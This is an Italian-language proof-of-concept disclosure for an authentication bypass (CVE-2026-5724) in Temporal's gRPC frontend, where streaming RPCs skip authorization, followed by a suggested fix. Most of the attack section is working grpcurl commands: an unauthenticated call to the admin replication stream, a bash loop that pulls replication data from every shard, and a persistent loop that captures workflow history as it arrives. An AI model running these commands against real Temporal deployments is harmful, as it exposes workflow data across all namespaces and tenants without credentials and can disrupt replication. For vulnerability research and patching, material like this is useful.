
Proof-of-concept exploit per CVE-2026-5724, un bypass dell'autenticazione nel servizio gRPC frontend di Temporal che consente l'accesso non autenticato ai dati di replica dei workflow.
Il servizio frontend di Temporal non applica l'autenticazione sulle RPC gRPC in streaming. La catena di interceptor per lo streaming omette l'interceptor di autorizzazione, consentendo a chiamanti non autenticati di accedere a AdminService/StreamWorkflowReplicationMessages, un endpoint privilegiato riservato agli admin che trasmette in streaming i dati di replica dei workflow attraverso tutti i namespace.
Il server gRPC frontend in service/frontend/fx.go configura due catene di interceptor. La catena per lo streaming include solo telemetryInterceptor.StreamIntercept per le metriche e nessuna autenticazione:
Il tipo authorization.Interceptor implementa solo un metodo interceptor unario (Intercept). Non esiste un equivalente per lo streaming. L'unica RPC in streaming del frontend è AdminService/StreamWorkflowReplicationMessages, che secondo https://github.com/temporalio/temporal/blob/c9a39e6914c0b3a114ddfe42e991334ed911a4cf/common/api/metadata.go#L214-L215 dovrebbe richiedere {Scope: ScopeCluster, Access: AccessAdmin}. La chiamata in streaming raggiunge l'handler in admin_handler.go:1904 senza autorizzazione, dove viene inoltrata direttamente all'endpoint di replica del servizio history interno.
Prendi una distribuzione Temporal che espone l'API gRPC frontend.
Chiama la RPC AdminService in streaming senza alcuna credenziale:
grpcurl -max-time 15 \
-H "temporal-client-cluster-id: 1" \
-H "temporal-client-shard-id: 1" \
-H "temporal-server-cluster-id: 1" \
-H "temporal-server-shard-id: 1" \
-d '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}' \
temporal-frontend.example.com:443 \
temporal.server.api.adminservice.v1.AdminService/StreamWorkflowReplicationMessages
# Lo stream si connette. Il server risponde con lo stato di replica che include
# exclusiveHighWatermark per ogni shard. Durante la replica attiva, la
# risposta contiene eventi di cronologia dei workflow serializzati:
# {
# "messages": {
# "replicationTasks": [{
# "namespaceId": "...",
# "workflowId": "...",
# "runId": "...",
# "taskType": "REPLICATION_TASK_TYPE_HISTORY_V2_TASK",
# ...
# }],
# "exclusiveHighWatermark": "148293"
# }
# }
Per iterare su tutti gli shard ed estrarre i dati su larga scala:
#!/usr/bin/env bash
set -euo pipefail
TARGET="${1:-temporal-frontend.example.com:443}"
NUM_SHARDS="${2:-1024}"
CLUSTER_ID="${3:-1}" # initialFailoverVersion: 1=attivo, 2=failover
ADMIN_SVC="temporal.server.api.adminservice.v1.AdminService"
for SHARD in $(seq 1 "${NUM_SHARDS}"); do
grpcurl -max-time 10 \
-H "temporal-client-cluster-id: ${CLUSTER_ID}" \
-H "temporal-client-shard-id: ${SHARD}" \
-H "temporal-server-cluster-id: ${CLUSTER_ID}" \
-H "temporal-server-shard-id: ${SHARD}" \
-d '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}' \
"${TARGET}" "${ADMIN_SVC}/StreamWorkflowReplicationMessages" 2>&1 || true
done
Per mantenere lo stream aperto in modo persistente e catturare gli eventi di replica in tempo reale:
(
while true; do
echo '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}'
sleep 5
done
) | grpcurl -d @ \
-H "temporal-client-cluster-id: 1" \
-H "temporal-client-shard-id: 1" \
-H "temporal-server-cluster-id: 1" \
-H "temporal-server-shard-id: 1" \
temporal-frontend.example.com:443 \
temporal.server.api.adminservice.v1.AdminService/StreamWorkflowReplicationMessages
Un attaccante con accesso al frontend può leggere i dati di replica dei workflow attraverso tutti i namespace e tenant — ID dei workflow, ID delle esecuzioni, eventi di cronologia, payload delle attività senza alcuna credenziale. L'attaccante può anche interferire con la replica tra datacenter inviando messaggi SyncReplicationState, e ottiene un ponte verso il servizio history interno che normalmente non è mai esposto esternamente.
Implementa un StreamServerInterceptor su authorization.Interceptor e aggiungilo alla catena di streaming in service/frontend/fx.go:292-296:
streamInterceptor := []grpc.StreamServerInterceptor{
telemetryInterceptor.StreamIntercept,
authInterceptor.StreamIntercept, // applica l'autenticazione sulle RPC in streaming
}